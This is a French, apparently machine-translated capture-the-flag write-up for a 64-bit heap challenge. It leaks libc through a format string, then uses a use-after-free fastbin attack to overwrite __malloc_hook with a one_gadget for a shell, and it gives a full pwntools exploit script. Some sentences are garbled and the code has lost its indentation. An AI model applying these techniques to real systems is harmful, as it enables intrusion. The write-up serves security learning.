gyctf_2020_some_thing_interesting
étape
- Inspection de routine, programme 64 bits, protection complète
- Essayez d'exécuter le programme localement pour voir la situation générale
Ida 64 bits charge sub_B7A ()
check ()
create (), s'appliquera pour deux morceaux
modify ()
delete ()
Utilisez des idées:
- Utilisez des vulnérabilités de chaîne de format pour divulguer la libc
- Utilisez uaf pour changer malloc_hook en one_gadge
- Appelez add, déclenchez malloc, récupérez le shell
Processus d'utilisation
- Déplacez-le d'abord. Utilisez la vulnérabilité du caractère de formatage pour fuir la libc.
Enregistrez le processus de déplacement.
Gdb démarre le débogage et r s'exécute. Puisque vous ne savez pas quel est le décalage, vous pouvez entrer un décalage,
puis sélectionner 0 pour appeler la fonction de vérification pour déclencher le caractère de formatage. Vulnérabilité de chaîne, vérifier le contenu imprimé, voir que le contenu à l'offset 12 est 0x555555555680
ctrl + c pour terminer le programme, afficher la mise en page sur la pile, trouver l'offset 12, trouver libc_start_main + 240 (libc Une fonction dans), avec elle, nous pouvons fuir la libc.
Il doit y avoir des gens qui sont curieux. N'y a-t-il pas 0x555555555555680 à 0xd70? Regardez le décalage 16 pour résoudre ce doute
r.recvuntil("> Input your code please:")
r.sendline("OreOOrereOOreO%17$p") #elf 11 libc 17
r.recvuntil("#######################\n")
r.sendline('0')
r.recvuntil("# Your Code is ")
r.recvuntil('0x')
start_main = int(r.recv(12), 16) - 0xf0
libc.address = start_main - libc.sym['__libc_start_main']
Ici, nous avons réussi à divulguer la libc
- L'utilisation des vulnérabilités uaf,
voir les six méthodes d'utilisation du tas , voici un petit record à
appliquer pour deux chunks (les deux fast bins), release chunk1, car fastbin ne vérifie pas l'alignement lors de l'allocation, définit le fd de fastbin Pour __malloc_hook-0x23, déclenchez l'attaque fastbin pour allouer de l'espace mémoire au-dessus de malloc_hook
add(0x68, 'aaaa', 0x68, 'bbbb')
delete(1)
edit(1,'\x00'*8,p64(malloc_hook-0x23))
Maintenant, le pointeur fd de chunk1 pointe vers l'espace au-dessus de malloc_hook. À ce stade, nous pouvons demander l'espace de malloc_hook en appliquant pour chunk, afin que nous puissions écrire one_gadget dans malloc_hook pour obtenir la permission.
payload='a'*(0x13)+p64(one_gadget)
add(0x68,'a'*8,0x68,payload)
Ensuite, choisissez 1, entrez-le et déclenchez malloc pour obtenir le shell.
Je pense que le wp des autres maîtres doit utiliser realloc pour ajuster la pile de cadres, mais lorsque je l'utilise, je peux directement le changer en one_gadget. Pour plus de détails sur comment utiliser realloc pour ajuster la pile de cadres, voir le tas. Six façons d’utiliser
Exp complète
from pwn import *
#r=remote("node3.buuoj.cn",26634)
r=process('./gyctf_2020_some_thing_interesting')
elf=('./gyctf_2020_some_thing_interesting')
libc=ELF('../../pwn_libc/libc-2.23(64).so')
#context.log_level = 'debug'
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size1, content1, size2, content2):
r.recvuntil("#######################\n")
r.sendline('1')
r.recvuntil("> O's length : ")
r.sendline(str(size1))
r.recvuntil("> O : ")
r.send(content1)
r.recvuntil("> RE's length : ")
r.sendline(str(size2))
r.recvuntil("> RE : ")
r.send(content2)
def delete(index):
r.recvuntil("#######################\n")
r.sendline('3')
r.recvuntil("> Oreo ID : ")
r.sendline(str(index))
def show(index):
r.recvuntil("#######################\n")
r.sendline('4')
r.recvuntil("> Oreo ID : ")
r.sendline(str(index))
def edit(index, content1, content2):
r.recvuntil("#######################\n")
r.sendline('2')
r.recvuntil("> Oreo ID : ")
r.sendline(str(index))
r.recvuntil("> O : ")
r.sendline(content1)
r.recvuntil("> RE : ")
r.sendline(content2)
r.recvuntil("> Input your code please:")
r.sendline("OreOOrereOOreO%17$p") #elf 11 libc 17
r.recvuntil("#######################\n")
r.sendline('0')
r.recvuntil("# Your Code is ")
r.recvuntil('0x')
start_main = int(r.recv(12), 16) - 0xf0
libc.address = start_main - libc.sym['__libc_start_main']
malloc_hook = libc.sym['__malloc_hook']
one_gadget = one_gadget_16[3] + libc.address
#realloc=libc.address+libc.sym['__realloc_hook']
success("start+main"+hex(start_main))
success("libc_base:"+hex(libc.address))
add(0x68, 'aaaa', 0x68, 'bbbb')
delete(1)
edit(1,'\x00'*8,p64(malloc_hook-0x23))
#gdb.attach(r)
payload='a'*(0x13)+p64(one_gadget)
add(0x68,'a'*8,0x68,payload)
#gdb.attach(r)
r.recvuntil("#######################\n")
r.sendline('1')
r.recvuntil("> O's length : ")
r.sendline(str(0x68))
r.interactive()